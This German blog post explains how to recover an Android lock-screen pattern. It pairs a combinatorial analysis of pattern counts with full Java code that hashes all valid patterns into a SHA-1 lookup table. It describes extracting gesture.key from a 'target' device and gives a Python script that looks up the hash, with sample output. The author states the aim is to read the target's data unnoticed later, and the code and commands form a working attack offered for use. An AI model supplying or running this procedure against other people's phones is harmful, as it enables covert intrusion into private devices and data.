· 

Entschlüsseln des Android Lockscreen Patterns

Disclaimer

Die hier beschriebene Angriffstechnik darf nur auf dem eigenen Smartphone durchgeführt werden. Auf Smartphones Dritter darf die hier beschriebene Angriffstechnik nur dann durchgeführt werden, wenn der Besitzer dieses Smartphones seine Zustimmung dafür gegeben hat. Ich übernehme keine Haftung für jedweden durch Missachtung dieser Vorgaben entstandenen Schaden! Dieser Beitrag ist lediglich zu Bildungszwecken gedacht! Don't Learn to Hack - Hack to Learn!


Einführung

Gegeben sei ein Android-Smartphone \(S\), das unbefugt in die Hände eines Angreifers \(A\) gelangt ist. Im Folgenden geht es um eine Quantifizierung des Zugriffsrisikos auf die auf \(S\) gespeicherten Daten durch \(A\) und die Beschreibung eines Angriffes, mit dem das Passwort ausgelesen werden kann. Wir nehmen an, dass das potentielle Opfer nur die Android-Mustersperre als Zugriffsschutz verwendet (also keine Multifaktor-Authentifizierung). Mittels kombinatorischer Überlegungen werden wir Wahrscheinlichkeiten für den Erfolg einer Brute-Force Attacke durch \(A\) ermittelt.

Mathematisches Modell für das Lockscreen-Pattern

Die Mustersperre ist neben PINs und Passwörtern ein weiterer Sicherheitsmechanismus, mit dem Anwender ihre Smartphones vor unautorisierten Zugriffen schützen können. Ein Muster \(m\) ist dabei ein \(k-\)Tupel \((a_1, a_2, ..., a_k)\) mit \(a_i\in\{1,2,3,4,5,6,7,8,9\}\). Die einzelnen Elemente eines Musters sind als Knoten in einem Graphen \(G\) zu interpretieren, der für die weiteren Überlegungen durch die \(3\times3-\)Matrix
$$ G = \left(\begin{matrix} 1 & 2 & 3 \\ 4 & 5 & 6 \\ 7 & 8 & 9 \end{matrix}\right) $$ repräsentiert wird. Sei $$ \mathcal{E}:=\{(1,3),(3,1),(4,6),(6,4),(7,9),(9,7),(1,7),(7,1),(2,8),(8,2),(3,9),(9,3),(1,9),(9,1),(3,7),(7,3)\} $$ Sei weiterhin \(\mathcal{M}_v\) die Menge aller validen Sperrmuster und \(l:\bigcup_{i=1}^{\infty}{M^i}\rightarrow\mathbb{N}\) eine Funktion, die einem Tupel die Anzahl seiner Elemente zuordnet. Ein Sperrmuster \(m\) ist genau dann valide (d.h. \(m\in\mathcal{M}_v\)), wenn folgende Eigenschaften erfüllt sind:
  • \(4\leq l(m)\leq 9\)
  • \(\pi_i(m)=a \wedge \pi_j(m)=a'\wedge i\neq j\Longrightarrow a\neq a'\)
  • \((a_i,a_j)\in\mathcal{E}\) mit \(a_i,a_j\in m\) und \(i\neq j\)
  • $$ \exists k<\max(i,j):a_k\in m = \begin{cases} 2 & \text{falls }(a_i,a_j)\in\{(1,3),(3,1)\} \\ 4 & \text{falls }(a_i,a_j)\in\{(1,7),(7,1)\} \\ 6 & \text{falls }(a_i,a_j)\in\{(3,9),(9,3)\} \\ 8 & \text{falls }(a_i,a_j)\in\{(7,9),(9,7)\} \\ 5 & \text{sonst } \end{cases} $$
    Trifft (mindestens) eine der Eigenschaften \(1-3\) nicht auf \(m\) zu, dann nennen wir \(m\in\mathcal{M}_e\) invalides Muster und \(\mathcal{M}_e\) die Menge der invaliden Muster.

    Wahrscheinlichkeitstheoretische Modellierung

    Sei \(\mathcal{M}\) die Menge aller Muster, welche die Eigenschaften \(1\) und \(2\) erfüllen. Dann gilt:
    $$|\mathcal{M}|=\sum_{k=4}^{9}{\binom{9}{k}\cdot k!} $$
    Gesucht ist jedoch die Anzahl der validen Muster \(|\mathcal{M}_v|=|\mathcal{M}\setminus\mathcal{M}_e|\). Diese ergibt sich durch einfache kombinatorische Überlegungen wie folgt:
    $$|\mathcal{M}_v| = \sum_{k=4}^{9}{\binom{9}{k}\cdot k! - \mathcal{F}(k)}$$
    Dabei beschreibt \(\mathcal{F}:\{4,5,6,7,8,9\}\rightarrow\mathbb{N}\) eine Funktion, welche die von \(l(m)\) abhängige Anzahl der nicht gültigen Mustersperren angibt.
    $$ |\mathcal{M}_e|_{l(m)}=\mathcal{F}(x=l(m))=-\frac{13703}{15}\cdot (x-4)^5+7651\cdot (x-4)^4-18461\cdot (x-4)^3+\\25493\cdot (x-4)^2-\frac{108022}{15}\cdot (x-4)+1400$$
    Sei \(r\) die Anzahl der Versuche, die ein Angreifer vor der irreversiblen Sperre von \(S\) durchführen kann. Liegen keine weiteren Informationen zu \(l(m)\) vor, gilt für die Erfolgswahrscheinlichkeit einer erfolgreichen Bruteforce-Attacke bei bis zu \(r\) Fehlversuchen:
    $$P(r)=\dfrac{1}{|M_v|}+\sum_{t=1}^{r}\left({\frac{1}{|\mathcal{M}_v|-t}\cdot \prod_{i=0}^{t-1}{\frac{|\mathcal{M}_v|-i-1}{|\mathcal{M}_v|-i}}}\right)$$
    Die folgende Tabelle listet die Anzahl der validen Kombinationsmöglichkeiten in Abhängigkeit von \(l(m)\) auf. Zusätzlich wird der prozentuale Anteil der Kombinationsmöglichkeiten einer bestimmten Länge bezüglich aller Kombinationsmöglichkeiten aufgeführt. Dies kann als Entscheidungskriterium für die Erarbeitung einer IT-Sicherheitsrichtlinie im Unternehmen dienen:
    \begin{array}{|c|c|c|} \hline l(m) & |\mathcal{M}_v|_{l(m)} & \%-\text{Anteil}\\\hline 4 & 1624 & 0.4 \\ \hline 5 & 7152 & 1.8 \\ \hline 6 & 26016 & 6.7 \\ \hline 7 & 72912 & 18.7 \\ \hline 8 & 140704 & 36.2 \\ \hline 9 & 140704 & 36.2 \\ \hline \end{array}
    Es fällt auf, dass es keinen Unterschied macht, ob man Muster der Länge \(8\) oder \(9\) zum Schutz von \(S\) verwendet. Es ist zudem ratsam eine Mindestlänge von \(l(m)=8\) zu wählen, da \(|\mathcal{M}_v|_{l(m)=8}+|\mathcal{M}_v|_{l(m)=9}\) bereits \(72.4\%\) aller Möglichkeiten abdecken.
    Da Anwender komplizierte Passwörter (im Sinne der kryptographischen Sicherheit) häufig meiden und die Größen Passwortlänge und (subjektive) Passwortsimplizität korrelieren, liegt die Vermutung nahe, dass \(S\) mit einem kurzen Sperrmuster geschützt ist. Da keine empirischen Daten zur Sperrmusterlängenwahl in der Bevölkerung vorliegen, operieren wir mit Gewichtungsfaktoren \(\theta_1, \theta_2, ..., \theta_6\in\Theta\), für die folgende Eigenschaften gelten:
  • \(\forall \theta_i\in\Theta:\theta_i\in \mathbb{R}\)
  • \(\forall \theta_i\in\Theta:0\leq \theta_i\leq 1\)
  • \(\sum_{\theta_i\in\Theta}{\theta_i}=1\)
  • Entscheidet sich \(A\) dazu den Angriff für eine feste Länge \(l\) durchzuführen, dann ergibt sich seine Erfolgswahrscheinlichkeit für bis zu \(r\) Fehlversuche vor der irreversiblen Sperrung von \(S\) mit \(|\mathcal{M}_v|_l=\binom{9}{l}\cdot l!-\mathcal{F}(l)\) durch:
    $$P(r,l)=\theta_{l-3}\cdot\left(\dfrac{1}{|M_v|_l} +\sum_{t=1}^{r}\left({\frac{1}{|\mathcal{M}_v|_l-t}\cdot \prod_{i=0}^{t-1}{\frac{|\mathcal{M}_v|_l-i-1}{|\mathcal{M}_v|_l-i}}}\right)+\psi\right)$$
    Der Faktor \(\psi\) ist eine erfolgswahrscheinlichkeitserhöhende Maßzahl, mit der Aspekte wie z.B. Fettrückstände auf dem Display von \(S\), die möglicherweise einen Rückschluss auf das Muster zulassen, mathematisch einbezogen werden können. Über \(\psi\) können folgende Annahmen getroffen werden:
  • \(\psi\in\mathbb{R}\)
  • \(\psi > 0\), da solche Zusatzinformationen nützlich sind und die mathematische Erfolgswahrscheinlichkeit nicht mindern.
  • \(\psi + P(r,l)\leq 1\). \(1\) kann ebenfalls angenommen werden, wenn z.B. das Sperrmuster auf der Rückseite von \(S\) aufgeklebt ist (solche Dummheiten gibt es ja zur Genüge).
  • Im Folgenden werden wir einen Angriff modellieren, mit dem wir das von unserem Ziel verwendete Pattern herausfinden können. Wir sehen an dieser Stelle bewusst davon ab den Schutz aufzuheben, da wir zukünftig unbemerkt an die Informationen auf dem Target-Device kommen können.


    „Reverse Engineering“

    Um herauszufinden, wie Android das eingegebene Pattern intern speichert, suchen wir nach einer Implementierung, die den dafür verwendeten Algorithmus offenbart. Unter android.googlesource.com findet man hier eine Funktion 'patternToHash', die für das Hashen des eingegebenen Patterns zuständig ist (Zeile 722-747).

    Wie man Zeile 741 entnehmen kann, wird als Hash-Algorithmus SHA-1 genutzt. Der Code selbst ist sehr leicht nachvollziehbar. Als Parameter wird eine Liste mit Objekten vom Typ LockPatternView.Cell (dazu später mehr) übergeben und in Zeile 734 die Anzahl an Verbindungspunkten geprüft, die gemäß den Standardvorgaben zwischen (einschließlich) 4 und (einschließlich) 9 liegen muss. In Zeile 735 wird ein Byte-Array-Container initialisiert, dessen Größe der Anzahl an Verbindungspunkte im Pattern (in Bytes) entspricht. Anschließend wird über die Liste iteriert und für jedes Element basierend auf der Position in der Pattern-Matrix ein Wert berechnet, der als Byte in dem Container gespeichert wird. In den Zeilen 741 bis 743 wird die Berechnung des SHA-1 Hashes für den zuvor zusammengesetzten Container ermittelt und zurückgegeben und Fehler durch eine NoSuchAlgorithmException abgefangen.

     

    Dem Funktions-Kommentar kann man bereits entnehmen, dass diese Vorgehensweise keinen sonderlich großen Schutz bietet. 

     

    Unbekannt ist bislang noch die Implementierung der Klasse LockPatternView.Cell, die jedoch hier eingesehen werden kann. Wir extrahieren die für uns relevanten Funktionen (also all jene, die in patternToHash aufgerufen werden) und bauen uns ein Mockup, das zur Berechnung einer Rainbow-Table, mit der wir später den Angriff durchführen können, verwendet wird.


    Implementierung der Klasse 'Cell' (LockPatternView.Cell)

    public class Cell {
            int row;
            int column;
            // keep # objects limited to 9
            static Cell[][] sCells = new Cell[3][3];
            static {
                    for (int i = 0; i < 3; i++) {
                            for (int j = 0; j < 3; j++) {
                                    sCells[i][j] = new Cell(i, j);
                            }
                    }
            }
    
            /**
        * @param row
        *            The row of the cell.
        * @param column
        *            The column of the cell.
        */
            Cell(int row, int column) {
                    checkRange(row, column);
                    this.row = row;
                    this.column = column;
            }
    
            public int getRow() {
                    return row;
            }
    
            public int getColumn() {
                    return column;
            }
    
            private static void checkRange(int row, int column) {
                    if (row < 0 || row > 2) {
                            throw new IllegalArgumentException("row must be in range 0-2");
                    }
                    if (column < 0 || column > 2) {
                            throw new IllegalArgumentException("column must be in range 0-2");
                    }
            }
    }
    

    Implementierung der Klasse 'PatternUtility'

    In dieser Klasse ist die Logik zur Berechnung des Pattern-Hashs (patternToHash) gekapselt.

    public class PatternUtility {
            /**
        * Source:
        * https://android.googlesource.com/platform/frameworks/base.git/+/f02b60aa4f367516f40cf3d60fffae0c6fe3e1b8/core/java/com/android/internal/widget/LockPatternUtils.java
        * 
        * @param pattern
        *            Pattern that
        * @return SHA-1 hash as a byte array.
        */
            public static byte[] patternToHash(List<Cell /* type modified */> pattern) {
                    if (pattern == null) {
                            return null;
                    }
    
                    final int patternSize = pattern.size();
                    byte[] res = new byte[patternSize];
                    for (int i = 0; i < patternSize; i++) {
                            Cell /* type modified */ cell = pattern.get(i);
                            res[i] = (byte) (cell.getRow() * 3 + cell.getColumn());
                    }
                    try {
                            MessageDigest md = MessageDigest.getInstance("SHA-1");
                            byte[] hash = md.digest(res);
                            return hash;
                    } catch (NoSuchAlgorithmException nsa) {
                            return res;
                    }
            }
    }
    

    Implementierung der Klasse 'Combinations'

    In dieser Klasse werden alle validen Patterns berechnet. Mit der Funktion 'save_patterns' können diese in ein File ausgelagert und nach Belieben weiterverarbeitet werden.

    import java.io.FileNotFoundException;
    import java.io.PrintWriter;
    import java.util.ArrayList;
    import java.util.HashSet;
    import java.util.List;
    import java.util.Set;
    
    public class Combinations {
            /**
        * Lower bound for the length of an Android lockscreen pattern.
        */
            private static final int LOWER_BOUND = 4;
    
            /**
        * Upper bound for the length of an Android lockscreen pattern.
        */
            private static final int UPPER_BOUND = 9;
    
            /**
        * Function to create a list containing all (N choose k)*k! subsets of
        * M={1,2,...,9}, where N=9 and k is variable.
        *
        * @param k
        *            Size of the subsets.
        * @return List containing all subsets.
        */
            private static List<String> all_patterns(final int k) {
                    // ArrayList containing all possible patterns.
                    final List<String> patterns = new ArrayList<>();
                    String tmp = "";
                    // Calculate value to start with.
                    for (int counter = 1; counter <= k; counter++) {
                            tmp += counter;
                    }
                    try {
                            int number = Integer.parseInt(tmp);
                            // As long as the number is not larger than (length+1) ...
                            while (number < Math.pow(10, k)) {
                                    final String string_number = Integer.toString(number);
                                    // ... check if there're duplications or zeros.
                                    if (!has_duplicate(string_number) && !string_number.contains("0")) {
                                            patterns.add(string_number);
                                    }
                                    number++;
                            }
                    } catch (final NumberFormatException nfe) {
                            System.err.println("Error while parsing in function all_patterns(final int length)!");
                    }
                    return patterns;
            }
    
            /**
        * Check if there are any duplicates in to_check.
        *
        * @param to_check
        *            String to check.
        * @return true, if there is a duplicate in to_check (false otherwise).
        */
            private static boolean has_duplicate(final String to_check) {
                    // HashSet for checking duplicates.
                    final Set<Character> container = new HashSet<>();
                    for (int index = 0; index < to_check.length(); index++) {
                            if (!container.add(to_check.charAt(index))) {
                                    return true;
                            }
                    }
                    return false;
            }
    
            /**
        * Function checking, if the String to_check follows all pattern creation
        * rules.
        *
        * @param to_check
        *            String to check.
        * @return true, if the String breaks (at least) one rule (false otherwise).
        */
            private static boolean is_invalid(final String to_check) {
                    return to_check.contains("13")
                                    && (to_check.indexOf("2") == -1 || (to_check.indexOf("2") > to_check.indexOf("13")))
                                    || to_check.contains("31")
                                                    && (to_check.indexOf("2") == -1 || (to_check.indexOf("2") > to_check.indexOf("31")))
                                    || to_check.contains("39")
                                                    && (to_check.indexOf("6") == -1 || (to_check.indexOf("6") > to_check.indexOf("39")))
                                    || to_check.contains("28")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("28")))
                                    || to_check.contains("82")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("82")))
                                    || to_check.contains("46")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("46")))
                                    || to_check.contains("64")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("64")))
                                    || to_check.contains("93")
                                                    && (to_check.indexOf("6") == -1 || (to_check.indexOf("6") > to_check.indexOf("93")))
                                    || to_check.contains("79")
                                                    && (to_check.indexOf("8") == -1 || (to_check.indexOf("8") > to_check.indexOf("79")))
                                    || to_check.contains("97")
                                                    && (to_check.indexOf("8") == -1 || (to_check.indexOf("8") > to_check.indexOf("97")))
                                    || to_check.contains("71")
                                                    && (to_check.indexOf("4") == -1 || (to_check.indexOf("4") > to_check.indexOf("71")))
                                    || to_check.contains("17")
                                                    && (to_check.indexOf("4") == -1 || (to_check.indexOf("4") > to_check.indexOf("17")))
                                    || to_check.contains("37")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("37")))
                                    || to_check.contains("73")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("73")))
                                    || to_check.contains("19")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("19")))
                                    || to_check.contains("91")
                                                    && (to_check.indexOf("5") == -1 || (to_check.indexOf("5") > to_check.indexOf("91")));
            }
    
            /**
        * Function to calculate all valid patterns.
        *
        * @param combinations
        *            Patterns to modify (= delete all invalid patterns).
        * @return List containing all valid patterns.
        */
            private static List<String> combinations(final List<String> combinations) {
                    final List<String> patterns = new ArrayList<>();
                    for (String combination : combinations) {
                            if (!is_invalid(combination)) {
                                    patterns.add(combination);
                            }
                    }
                    return patterns;
            }
    
            /**
        * Function to save all valid patterns to a file.
        * 
        * @param path
        *            Path to the file.
        * @throws FileNotFoundException
        *             Exception thrown if file can't be found.
        */
            public static void save_patterns(final String path) throws FileNotFoundException {
                    final PrintWriter out = new PrintWriter(path);
                    List<String> tmp_result = new ArrayList<>();
                    for (int length = LOWER_BOUND; length <= UPPER_BOUND; length++) {
                            tmp_result = combinations(all_patterns(length));
                            for (final String pattern : tmp_result) {
                                    out.println(pattern);
                            }
                    }
                    out.close();
            }
    }
    

    Implementierung der Klasse 'RainbowTable'

    Mit einer RainbowTable Instanz kann für jede der 389.112 Kombinationen das Pattern samt SHA-1 Hash gespeichert werden.

    import java.io.BufferedReader;
    import java.io.FileOutputStream;
    import java.io.FileReader;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.util.ArrayList;
    import java.util.List;
    
    public class RainbowTable {
    
            /**
        * Character space for hex numbers.
        */
            private final static char[] CHARACTER_SPACE = "0123456789ABCDEF".toCharArray();
    
            /**
        * List with cell objects.
        */
            private final List<Cell> cells;
    
            /**
        * List with patterns encoded as Strings.
        */
            private final List<String> patterns;
    
            /**
        * File reader.
        */
            private final BufferedReader reader;
    
            /**
        * File writer for String.
        */
            private final PrintWriter writer;
    
            /**
        * Ctor for the RainbowTable object.
        * 
        * @param path_to_valid_patterns
        *            Path to the file containing all valid patterns.
        * @param path_to_hash_file
        *            Location of the hash file.
        * @throws IOException
        */
            public RainbowTable(final String path_to_valid_patterns, final String path_to_hash_file) throws IOException {
                    cells = new ArrayList<>();
                    patterns = new ArrayList<>();
                    reader = new BufferedReader(new FileReader(path_to_valid_patterns));
                    writer = new PrintWriter(path_to_hash_file);
                    // Create list with cell objects.
                    for (int xPos = 0; xPos < 3; xPos++) {
                            for (int yPos = 0; yPos < 3; yPos++) {
                                    cells.add(new Cell(xPos, yPos));
                            }
                    }
                    // Load all valid pattern Strings from the pattern file.
                    String line;
                    while ((line = reader.readLine()) != null) {
                            patterns.add(line);
                    }
                    reader.close();
            }
    
            /**
        * Create and save the rainbow table.
        */
            public void save() {
                    String data = "";
                    for (final String pattern : patterns) {
                            data = pattern + ";" + pattern_to_hash_string(create_pattern_from_string(pattern));
                            writer.println(data);
                    }
                    writer.close();
            }
    
            /**
        * Method to create a sample gesture.key file.
        * 
        * @param path
        *            Path where the file should be saved.
        * @param pattern
        *            Pattern to create the gesture.key file from.
        * @throws IOException
        */
            public void create_sample_gesture_file(final String path, final List<Cell> pattern) throws IOException {
                    final FileOutputStream fos = new FileOutputStream(path);
                    fos.write(PatternUtility.patternToHash(pattern));
                    fos.close();
            }
    
            /**
        * Create a pattern (List<Cell>) from a String.
        * 
        * @param string_pattern
        *            String representation of a pattern (to convert).
        * @return Converted String.
        */
            private List<Cell> create_pattern_from_string(final String string_pattern) {
                    final List<Cell> pattern = new ArrayList<>();
                    for (int pos = 0; pos < string_pattern.length(); pos++) {
                            pattern.add(cells.get(Integer.parseInt(string_pattern.charAt(pos) + "") - 1));
                    }
                    return pattern;
            }
    
            /**
        * Convert a pattern to a sha-1 hash String.
        * 
        * @param pattern
        *            Pattern to convert.
        * @return Hex String
        */
            private String pattern_to_hash_string(final List<Cell> pattern) {
                    return bytes_to_hex_string(PatternUtility.patternToHash(pattern));
            }
    
            /**
        * Convert a byte array to a hex String.
        * 
        * @param bytes
        *            Byte array to convert.
        * @return Conveted byte array.
        */
            private static String bytes_to_hex_string(final byte[] bytes) {
                    char[] hexChars = new char[2 * bytes.length];
                    for (int counter = 0; counter < bytes.length; counter++) {
                            int v = bytes[counter] & 0xFF;
                            hexChars[2 * counter] = CHARACTER_SPACE[v >>> 4];
                            hexChars[2 * counter + 1] = CHARACTER_SPACE[v & 0x0F];
                    }
                    return new String(hexChars);
            }
    }
    

    Erzeugen der Rainbow-Table

    In der Main-Methode werden alle bisherigen Bestandteile zusammengesetzt und eine Rainbow-Table mit der Bezeichnung 'AndroidPatternSHA-1.txt' erzeugt.

    import java.io.IOException;
    
    public class Main {
            public static void main(final String... args) throws IOException {
                    final String valid_pattern_path = "ValidPatterns.txt";
                    final String rainbow_table_path = "AndroidPatternSHA-1.txt";
                    Combinations.save_patterns(valid_pattern_path);
                    final RainbowTable rainbow_table = new RainbowTable(valid_pattern_path, rainbow_table_path);
                    rainbow_table.save();
            }
    }
    

    Durchführung des Angriffs

    Der Angriff besteht aus insgesamt 3 Schritten:

    1. Download/Erzeugen der Rainbow Table

    Erzeugen Sie mit dem oben beschriebenen Vorgehen eine Rainbow Table oder laden Sie sich die fertige hier herunter.

    2. Extraktion des Gesture-Files vom Target

    Der Pattern-Hash wird in Android in dem File 'gesture.key' gespeichert. Dieses befindet sich in dem Verzeichnis '/data/system/'. Wenn das Target-Device gerootet ist, können Sie sehr leicht darauf zugreifen und das File extrahieren. Im Regelfall liegt jedoch ein nicht gerootetes Device vor. Sollte USB-Debugging aktiviert sein, können Sie über Android Studio auf das Gesture-File zugreifen. Wenn auch das nicht möglich sein sollte, müssen Sie (hardwareunterstützt) einen kompletten Memory Dump erstellen und darin nach entsprechenden Markern suchen. Dieses Verfahren wird jedoch in einem separaten Artikel beschrieben.

    3. Pattern-Lookup

    Nachdem Sie das Gesture-File extrahiert haben, können Sie mit dem folgenden Python-Skript den Pattern-Hash in der Rainbow Table suchen und sich so das verwendete Pattern anzeigen lassen:

    import argparse
    import binascii
    
    if __name__ == "__main__":
            parser = argparse.ArgumentParser()
            parser.add_argument("gesture", help="Location of the gesture.key file.")
            parser.add_argument("rainbow_table", help="Location of the rainbow table")
            args = parser.parse_args()
    
            # Read gesture file
            def read_gesture(path):
                    with open(path, "rb") as gesture:
                            return gesture.read()
    
            # Search the hash in the gesture file              
            def search_hash(path, hash):
                    with open(path, 'rb') as rainbow_table:
                            for line in rainbow_table:
                                    if line.find(hash.upper()) != -1:
                                            print('The gesture key is: ' + line.decode("utf-8")[0:line.decode("utf-8").index(';')])
            
            # extract sha1 hash
            sha1_hash = binascii.hexlify(bytearray(read_gesture(args.gesture)))
    
            # search the rainbow table for the hash and print the result.
            search_hash(args.rainbow_table, sha1_hash)
    

    Laden Sie sich exemplarisch das folgende Gesture-File zum Testen herunter.

    Download
    Beispiel für ein Gesture-File
    gesture_sample.key
    exe File 20 Bytes

    Den in diesem File gespeicherten SHA-1 Hash können Sie sich in einem Hex-Editor ansehen: 

    Das Python-Skript erwartet als Parameter den Speicherort des Gesture-Files und der Rainbow Table. Starten Sie (je nach Betriebssystem) CMD/Terminal/Shell und tippen Sie folgende Befehlszeile ein:

    python crack_pattern.py gesture_sample.key AndroidPatternSHA-1.txt
    

    Als Ausgabe erhalten Sie:

    The gesture key is: 1235789
    

    Hinter diesem Code verbirgt sich folgendes Pattern:

    Die Reihenfolge der Punktverbindungen ergibt sich direkt aus dem Code. Das Target verwendet also ein einfaches Z-Pattern zur Authentifizierung.